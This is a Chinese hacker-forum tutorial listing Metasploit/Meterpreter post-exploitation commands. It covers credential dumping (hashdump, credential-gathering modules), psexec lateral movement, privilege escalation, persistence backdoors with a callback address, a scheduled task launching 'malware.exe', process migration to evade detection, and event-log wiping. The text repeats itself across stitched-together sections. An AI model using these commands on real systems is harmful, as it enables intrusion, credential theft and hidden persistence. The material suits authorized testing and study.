[工具使用] 【详解】Metasploit基本后渗透命令

619 0
Honkers 2026-2-7 00:36:38 来自手机 | 显示全部楼层 |阅读模式

目录

Metasploit基本后渗透命令

引言

环境准备

常用后渗透命令

1. 获取系统信息

2. 文件操作

3. 网络操作

4. 提权

5. 持久化

6. 数据收集

7. 清理痕迹

1. 信息收集

获取系统信息

列出所有进程

2. 文件操作

列出目录内容

下载文件

上传文件

3. 网络操作

查看网络接口

抓取网络数据包

4. 凭证获取

搜集系统中的凭证

5. 横向移动

通过 psexec 进行横向移动

6. 持久化

创建计划任务

7. 清理痕迹

删除日志

注意事项

1. ​​shell​​

2. ​​background​​

3. ​​sessions -l​​

4. ​​use post/multi/gather/credentials_all​​

5. ​​run post/windows/manage/migrate​​

6. ​​getuid​​

7. ​​sysinfo​​

8. ​​persistence​​

9. ​​upload​​​ 和 ​​download​​

10. ​​execute​​


Metasploit基本后渗透命令

引言

Metasploit 是一个功能强大的开源安全漏洞检测工具,广泛用于合法的安全测试和研究。它不仅能够帮助安全专业人员发现网络中的潜在威胁,还提供了丰富的后渗透测试工具集,以评估系统的安全性。本文将介绍一些常用的Metasploit后渗透命令,帮助安全测试人员更好地理解和利用这些工具。

环境准备

在开始之前,请确保你已经安装了Metasploit框架,并且熟悉其基本操作。你可以通过以下命令启动Metasploit控制台:

  1. msfconsole
复制代码

常用后渗透命令

1. 获取系统信息

获取目标系统的详细信息是后渗透测试的第一步。以下是一些常用的命令:

  • 获取系统类型
  1. sysinfo
复制代码
  • 列出所有进程
  1. ps
复制代码
  • 查看当前用户和权限
  1. whoami
  2. getuid
复制代码
2. 文件操作

文件操作是后渗透测试中常见的任务,包括上传、下载文件等。

  • 上传文件
  1. upload /path/to/local/file /path/to/remote/file
复制代码
  • 下载文件
  1. download /path/to/remote/file /path/to/local/file
复制代码
  • 列出目录内容
  1. ls /path/to/directory
复制代码
3. 网络操作

网络操作可以帮助你了解目标系统的网络配置和连接情况。

  • 查看网络接口
  1. ifconfig
复制代码
  • 查看路由表
  1. route
复制代码
  • 执行网络扫描
  1. run autoroute -s <subnet>
复制代码
4. 提权

提权是在后渗透测试中非常重要的一步,可以帮助你获得更高的权限以进行更深入的测试。

  • 尝试自动提权
  1. getsystem
复制代码
  • 手动提权
  1. run post/windows/escalate/getsystem
复制代码
5. 持久化

持久化是指在目标系统上建立长期访问的方法,以便在未来的测试中继续使用。

  • 创建计划任务
  1. run persistence -U -i 10 -p 4444 -r <your_ip>
复制代码
  • 创建服务
  1. run persistence -X -i 10 -p 4444 -r <your_ip>
复制代码
6. 数据收集

数据收集是后渗透测试中的重要环节,可以收集到有价值的敏感信息。

  • 收集密码哈希
  1. run post/windows/gather/hashdump
复制代码
  • 收集浏览器历史记录
  1. run post/windows/gather/credentials/enum_chrome
复制代码
7. 清理痕迹

在完成测试后,清理痕迹是非常重要的,以避免被目标系统管理员发现。

  • 删除日志
  1. clearev
复制代码
  • 退出会话
  1. exit
复制代码

Metasploit 是一个广泛使用的渗透测试框架,它不仅用于漏洞扫描和利用,还支持后渗透测试(Post-Exploitation)。后渗透测试是指在成功利用漏洞并获得目标系统控制权之后进行的一系列操作,如信息收集、凭证获取、横向移动等。

以下是一些常见的 Metasploit 后渗透命令及其实际应用场景:

1. 信息收集
获取系统信息
  1. meterpreter > sysinfo
复制代码

这个命令会显示目标系统的详细信息,包括操作系统版本、架构等。

列出所有进程
  1. meterpreter > ps
复制代码

这个命令会列出目标系统上运行的所有进程,有助于了解目标系统的活动情况。

2. 文件操作
列出目录内容
  1. meterpreter > ls /path/to/directory
复制代码

这个命令会列出指定目录下的文件和子目录。

下载文件
  1. meterpreter > download /path/to/remote/file /path/to/local/file
复制代码

这个命令将远程文件下载到本地机器。

上传文件
  1. meterpreter > upload /path/to/local/file /path/to/remote/file
复制代码

这个命令将本地文件上传到远程系统。

3. 网络操作
查看网络接口
  1. meterpreter > ifconfig
复制代码

这个命令会显示目标系统上的所有网络接口及其配置信息。

抓取网络数据包
  1. meterpreter > sniffer_interfaces
  2. meterpreter > sniffer_start <interface_id>
  3. meterpreter > sniffer_dump <interface_id> /path/to/capture.pcap
  4. meterpreter > sniffer_stop <interface_id>
复制代码

这些命令用于在网络接口上启动和停止数据包捕获,并将捕获的数据包保存到文件中。

4. 凭证获取
搜集系统中的凭证
  1. meterpreter > run post/windows/gather/credentials/all
复制代码

这个脚本会尝试从目标系统中搜集所有可用的凭证信息,包括但不限于存储在内存中的密码、哈希值等。

5. 横向移动
通过 psexec 进行横向移动
  1. use exploit/windows/smb/psexec
  2. set RHOST target_ip
  3. set SMBUser username
  4. set SMBPass password
  5. exploit
复制代码

这个模块使用 psexec 技术通过 SMB 协议在目标系统上执行命令,从而实现横向移动。

6. 持久化
创建计划任务
  1. meterpreter > execute -f "schtasks /create /tn UpdateTask /tr 'C:\path\to\malware.exe' /sc daily /st 08:00"
复制代码

这个命令会在目标系统上创建一个每天早上 8 点运行的计划任务,以实现持久化。

7. 清理痕迹
删除日志
  1. meterpreter > clearev
复制代码

这个命令会清除目标系统上的事件日志,以减少被发现的风险。

注意事项
  • 在进行任何后渗透操作时,请确保你有合法的授权。
  • 操作过程中要谨慎,避免对目标系统造成不必要的损害。
  • 始终遵守法律法规和道德规范。

Metasploit Framework 是一个广泛使用的开源安全漏洞检测工具,它不仅能够帮助安全研究人员发现和利用软件中的漏洞,还提供了丰富的后渗透测试功能,以便在获得目标系统访问权限后进行更深入的探索和控制。下面我将详细介绍一些基本的后渗透命令及其用途。

1. ​​shell​​
  • 用途:这个命令用于启动一个与目标机器的交互式命令行会话。通过这个命令,你可以直接在目标机器上执行操作系统级别的命令。
  • 使用示例
  1. meterpreter > shell
复制代码
2. ​​background​​
  • 用途:将当前的Meterpreter会话放到后台运行,允许你继续在Metasploit控制台执行其他操作或管理多个会话。
  • 使用示例
  1. meterpreter > background
复制代码
3. ​​sessions -l​​
  • 用途:列出所有活动的Meterpreter会话。这对于同时管理多个目标时非常有用。
  • 使用示例
  1. msf6 > sessions -l
复制代码
4. ​​use post/multi/gather/credentials_all​​
  • 用途:加载一个模块来收集目标系统上的所有可用凭证信息,如Windows登录凭据、网络共享密码等。
  • 使用示例
  1. msf6 > use post/multi/gather/credentials_all
  2. msf6 post(multi/gather/credentials_all) > set SESSION 1
  3. msf6 post(multi/gather/credentials_all) > run
复制代码
5. ​​run post/windows/manage/migrate​​
  • 用途:将Meterpreter会话从一个进程迁移到另一个进程,通常是为了提高持久性或避免被安全软件检测到。
  • 使用示例
  1. meterpreter > run post/windows/manage/migrate -H explorer.exe
复制代码
6. ​​getuid​​
  • 用途:显示当前Meterpreter会话所运行的用户账户信息。
  • 使用示例
  1. meterpreter > getuid
复制代码
7. ​​sysinfo​​
  • 用途:获取目标系统的详细信息,包括操作系统版本、处理器架构、内存大小等。
  • 使用示例
  1. meterpreter > sysinfo
复制代码
8. ​​persistence​​
  • 用途:创建一个持久化的后门,确保即使目标系统重启,也能自动重新连接到你的Metasploit控制台。
  • 使用示例
  1. meterpreter > persistence -U -i 10 -p 4444 -r 192.168.1.10
复制代码
  • ​​-U​​ 表示以当前用户身份运行。
  • ​​-i 10​​ 设置每10分钟检查一次连接。
  • ​​-p 4444​​ 指定监听端口。
  • ​​-r 192.168.1.10​​ 指定回调地址。
9. ​​upload​​​ 和 ​​download​​
  • 用途:这两个命令分别用于将文件上传到目标系统或将文件从目标系统下载到本地。
  • 使用示例
  1. meterpreter > upload /path/to/local/file.txt C:\target\file.txt
  2. meterpreter > download C:\target\file.txt /path/to/local/
复制代码
10. ​​execute​​
  • 用途:在目标系统上执行指定的程序或脚本。
  • 使用示例
  1. meterpreter > execute -f notepad.exe -i
复制代码

这些命令和技巧是进行有效后渗透测试的基础。了解并熟练掌握它们,可以帮助你在安全评估过程中更有效地探索和利用目标系统。不过,请始终确保在合法授权的情况下使用这些工具和技术,以遵守法律和道德规范。

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行